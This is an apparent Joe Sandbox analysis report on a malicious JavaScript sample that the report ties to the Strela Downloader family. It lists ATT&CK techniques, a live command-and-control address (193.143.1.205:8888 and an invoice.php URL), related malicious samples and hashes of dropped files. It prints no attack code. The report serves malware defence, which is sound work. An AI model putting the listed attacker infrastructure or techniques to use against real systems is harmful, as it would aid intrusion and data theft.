Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
489131343024428850.js	5%	Virustotal		Browse
489131343024428850.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/w=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2603913864.000001FBE5A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1383802022.000002CAAF179000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1383802022.000002CAAF148000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1390768863.000001FBE5C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/w=	net.exe, 00000007.00000002.1383802022.000002CAAF179000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587716
Start date and time:	2025-01-10 17:17:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	489131343024428850.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.219.243.226, 3.233.129.217, 52.22.41.97, 184.28.90.27, 23.209.209.135, 217.20.57.34, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.109.210.53, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:19:12	API Interceptor	22x Sleep call for process: powershell.exe modified
11:19:15	API Interceptor	1x Sleep call for process: net.exe modified
11:19:16	API Interceptor	2x Sleep call for process: svchost.exe modified
11:19:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	lExtvSjBgq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Axvn7Hegxc.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.246.45
	raq4ttncJF.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	WF2DL1l7E8.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	13.107.246.45
	FGTFTj8GLM.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.38
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39
	gem2.exe	Get hash	malicious	Xmrig	Browse	217.20.57.35
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1697943393056527466.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807533754188024
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9D:0J7adfWuK0p/QDfKoPeuP0aN4fqoxQ
MD5:	185EB0F8B58397E4CA59C597DF687F64
SHA1:	23C4786A1891599EEA935BFC72A581409FDBB2D5
SHA-256:	DC60ED6504444CCE76024BF50890A0147BB64DD01CB27DEA0FA0C99DDE1DED53
SHA-512:	0FC326961A594492AC170FF60611B4761564817180BEDF6ECFE3562AF7ECAC7D46E2CFAECFFFE261FCECFDA5A9899061CC8826844AF698067AC00007DF68C37B
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8758c583, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880840254735871
Encrypted:	false
SSDEEP:	1536:HSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:HazaPv4V4fXq2UaB
MD5:	D01600FFC66894FACA72F09ADB7610E2
SHA1:	5D9CFC5860D61C9A0C2C673922952FF93D716D50
SHA-256:	D02C4D7B5DCBD092BBB9EBBFA11E34F80FAF591157402F6FA4896690F31191B9
SHA-512:	6CC64D31ED2812BB66908411659B8C86B3B9C8132C2272DD4032CF5B60CE84C7035828D00124A7E6D86B0638CF2598D77CC0BD882F1D154938637F925DBC624C
Malicious:	false
Preview:	.X.... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...................................}.+.....}c<................".......}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07982098166866783
Encrypted:	false
SSDEEP:	3:IqYeCxAq1XlVG0+q2Iqe8lyrmEfAllNTt/4ll/Q6beV/:IqzE7GE8lyHfAHtc6V
MD5:	16E5C3746C79D2CC6E357A1F735E5310
SHA1:	7CBBAFE091E71EED217794BF969B50906C7D8977
SHA-256:	AC5F2CE01E7B7B23BC6C78EC121788B6A8910C9BDA500D5050AA5645C0008129
SHA-512:	056A0FE733DF1827A3A8DA6B066B2B1695DB286C1C31758213E0E94BB7D7B7C70A4141F39F23453A2BE4F179E032ECBFB6EC828501330DA1D02E2AB5E82C30CF
Malicious:	false
Preview:	.o.?.....................................;...{.......}.......{...............{.......{....:......{.................".......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.129766544386132
Encrypted:	false
SSDEEP:	6:iO4BQ6M+q2PFi2nKuAl9OmbnIFUtSBQ7UqmZmwsBQKDpMVkwOFi2nKuAl9OmbjLJ:7yJM+vdZHAahFUtMmm/+jpMV5wZHAaSJ
MD5:	E0BC818856849CDFC38BC39C39F8EE86
SHA1:	DD78C5311CDBC62D1AD641928A4C84556E91BB71
SHA-256:	71385A5235765B95094E1F9BF401801C5152B9D2AE66E2CBB7D34805ACAA520C
SHA-512:	FC2819B1B3044A47747761F9E099F8E4481AD133452579DF5648550AE68A88F8606C9B6BB0419F63D6A07D25EDF3E35E2F45D75D79B5D6028655C02BA0D94D64
Malicious:	false
Preview:	2025/01/10-11:19:15.805 1afc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:19:15.808 1afc Recovering log #3.2025/01/10-11:19:15.809 1afc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.129766544386132
Encrypted:	false
SSDEEP:	6:iO4BQ6M+q2PFi2nKuAl9OmbnIFUtSBQ7UqmZmwsBQKDpMVkwOFi2nKuAl9OmbjLJ:7yJM+vdZHAahFUtMmm/+jpMV5wZHAaSJ
MD5:	E0BC818856849CDFC38BC39C39F8EE86
SHA1:	DD78C5311CDBC62D1AD641928A4C84556E91BB71
SHA-256:	71385A5235765B95094E1F9BF401801C5152B9D2AE66E2CBB7D34805ACAA520C
SHA-512:	FC2819B1B3044A47747761F9E099F8E4481AD133452579DF5648550AE68A88F8606C9B6BB0419F63D6A07D25EDF3E35E2F45D75D79B5D6028655C02BA0D94D64
Malicious:	false
Preview:	2025/01/10-11:19:15.805 1afc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:19:15.808 1afc Recovering log #3.2025/01/10-11:19:15.809 1afc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.180102970017331
Encrypted:	false
SSDEEP:	6:iO4BQLSQ+q2PFi2nKuAl9Ombzo2jMGIFUtSBQ0gZmwsBQDQVkwOFi2nKuAl9OmbX:7yY+vdZHAa8uFUtMu/+PV5wZHAa8RJ
MD5:	E9114BB79BC773E9081A281C1D31E76A
SHA1:	2102D2E59977AF3BDEF1BD89647DCE402FD6269D
SHA-256:	9B0E5EEE9E959AC5744F304914B9C6DEEA19D07ACB718904508F31E11D4DBCD4
SHA-512:	A0749737864EB717A98E80DCD498A1D81584D6EFA0C24303C262B405DB5D54759DF9F36D3724898E0E8779361A2B17531F9B9287F9F3C2F5858D04590B33A636
Malicious:	false
Preview:	2025/01/10-11:19:15.896 57c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:19:15.898 57c Recovering log #3.2025/01/10-11:19:15.899 57c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.180102970017331
Encrypted:	false
SSDEEP:	6:iO4BQLSQ+q2PFi2nKuAl9Ombzo2jMGIFUtSBQ0gZmwsBQDQVkwOFi2nKuAl9OmbX:7yY+vdZHAa8uFUtMu/+PV5wZHAa8RJ
MD5:	E9114BB79BC773E9081A281C1D31E76A
SHA1:	2102D2E59977AF3BDEF1BD89647DCE402FD6269D
SHA-256:	9B0E5EEE9E959AC5744F304914B9C6DEEA19D07ACB718904508F31E11D4DBCD4
SHA-512:	A0749737864EB717A98E80DCD498A1D81584D6EFA0C24303C262B405DB5D54759DF9F36D3724898E0E8779361A2B17531F9B9287F9F3C2F5858D04590B33A636
Malicious:	false
Preview:	2025/01/10-11:19:15.896 57c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:19:15.898 57c Recovering log #3.2025/01/10-11:19:15.899 57c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\911da694-944d-4814-aaa3-cefd4d8aae95.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.978208542673537
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjYhsBdOg2H8Acaq3QYiubpP7E4T3y:Y2sRdsiYydMH8r3QYhbd7nby
MD5:	C47AC29948175B0C89A8DE7030580094
SHA1:	FA8BC58B3829CA73BD14887E73FE8D8FD78A1C08
SHA-256:	13EF685D57CB2A8DF35866547E8C1F1979B8F6A1AE4AD33FE9AF2F5D6F3C8114
SHA-512:	7247A69EED9F9B675E4199B5D0C516AA85F6537442B862A0B0CB883464CEC6533533B1A246566A6FD6D99371FC9CD46EDA37929F4DD296B9D00E2B808AE6598E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085967562976","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129131},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.978208542673537
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjYhsBdOg2H8Acaq3QYiubpP7E4T3y:Y2sRdsiYydMH8r3QYhbd7nby
MD5:	C47AC29948175B0C89A8DE7030580094
SHA1:	FA8BC58B3829CA73BD14887E73FE8D8FD78A1C08
SHA-256:	13EF685D57CB2A8DF35866547E8C1F1979B8F6A1AE4AD33FE9AF2F5D6F3C8114
SHA-512:	7247A69EED9F9B675E4199B5D0C516AA85F6537442B862A0B0CB883464CEC6533533B1A246566A6FD6D99371FC9CD46EDA37929F4DD296B9D00E2B808AE6598E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085967562976","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129131},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.229076769123374
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVJwwC:wshFT0h7cZb2EVKZPEANcGIK5EVJwwC
MD5:	805D4D40B766010C51E0FCE6F4707C87
SHA1:	6879BF0DEA6EB822F94F99A95DDA7FDCD7BFEDAE
SHA-256:	90979081B6ECE679B7B2E03C3F2E7F4F5B3EB66F150F0AD2579A6CB5B3E13C45
SHA-512:	B61F28B48F8A1B97BB2B5AC7AA0731171FD77D14A3E91CCFA0B4BF1821D4D1E11838F33783D5B5827DE2BA1B6AB679F39540168DAAED5983D35A16459D6E5E3C
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.163822421576277
Encrypted:	false
SSDEEP:	6:iO4BMpQ+q2PFi2nKuAl9OmbzNMxIFUtSBPP3AgZmwsBJq4QVkwOFi2nKuAl9Ombg:7yMi+vdZHAa8jFUtMnZ/+JqVV5wZHAab
MD5:	F83DC24AF626E48ECCB8555CB2C116EF
SHA1:	3503146455EE276C28B3B103093BAEE33218A349
SHA-256:	44309A1A416100730994AC21356F77D0AC7A7C6FD64ACE71EA97B81988172221
SHA-512:	E9D4CDC81AAFB1307E295B444D98B3BA33ECF954BB525A880766F404B7B64BDA6E44B822C90E4115F4998A9417243E3574A004D2444B329A9BAC6E83E1F49C77
Malicious:	false
Preview:	2025/01/10-11:19:16.203 57c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:19:16.205 57c Recovering log #3.2025/01/10-11:19:16.206 57c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.163822421576277
Encrypted:	false
SSDEEP:	6:iO4BMpQ+q2PFi2nKuAl9OmbzNMxIFUtSBPP3AgZmwsBJq4QVkwOFi2nKuAl9Ombg:7yMi+vdZHAa8jFUtMnZ/+JqVV5wZHAab
MD5:	F83DC24AF626E48ECCB8555CB2C116EF
SHA1:	3503146455EE276C28B3B103093BAEE33218A349
SHA-256:	44309A1A416100730994AC21356F77D0AC7A7C6FD64ACE71EA97B81988172221
SHA-512:	E9D4CDC81AAFB1307E295B444D98B3BA33ECF954BB525A880766F404B7B64BDA6E44B822C90E4115F4998A9417243E3574A004D2444B329A9BAC6E83E1F49C77
Malicious:	false
Preview:	2025/01/10-11:19:16.203 57c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:19:16.205 57c Recovering log #3.2025/01/10-11:19:16.206 57c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4385970553797485
Encrypted:	false
SSDEEP:	384:yejci5GAiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0surVgazUpUTTGt
MD5:	F946F6EA022A76B67A7727655A66B708
SHA1:	B025665232942241A3E1487F1E860D12F51834EE
SHA-256:	958F61E7DAC23CF1772F226B1F95BC6C1D5E296D0DC2462CE3C5FF832AF21FA6
SHA-512:	A2A125F76D9648FBD5E6D42A8E287A10C7F47376A8C5CBE4993463478F115E8CD1EB2FAA08F845B46D845A86EAC1418F3E3F7C90FB2D412526B4171A564C7587
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7754962469261337
Encrypted:	false
SSDEEP:	48:7Mh9p/E2ioyVgioy5oWoy1CUoy1QKOioy1noy1AYoy1Wioy1hioybioySoy1noyN:7kpjugJ3XKQLDb9IVXEBodRBkz
MD5:	66FEE1BC3F1091E61D77C989ED7563FF
SHA1:	8C3795484693F9FB420607396CE25786EED3149D
SHA-256:	A77FF2666FCC55CAEEE37E9281F40BEB324E8738C90BD2F4DD008C17A6C3F14C
SHA-512:	B5C7818A5C2E23472B0C164A874BC25A78F71D64EAF1ABFDB03FFA0E097D20B100201BFD9FC23A0042C636FBE567D6309FB2CF5068DA66EA110821BF27717EDA
Malicious:	false
Preview:	.... .c......f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
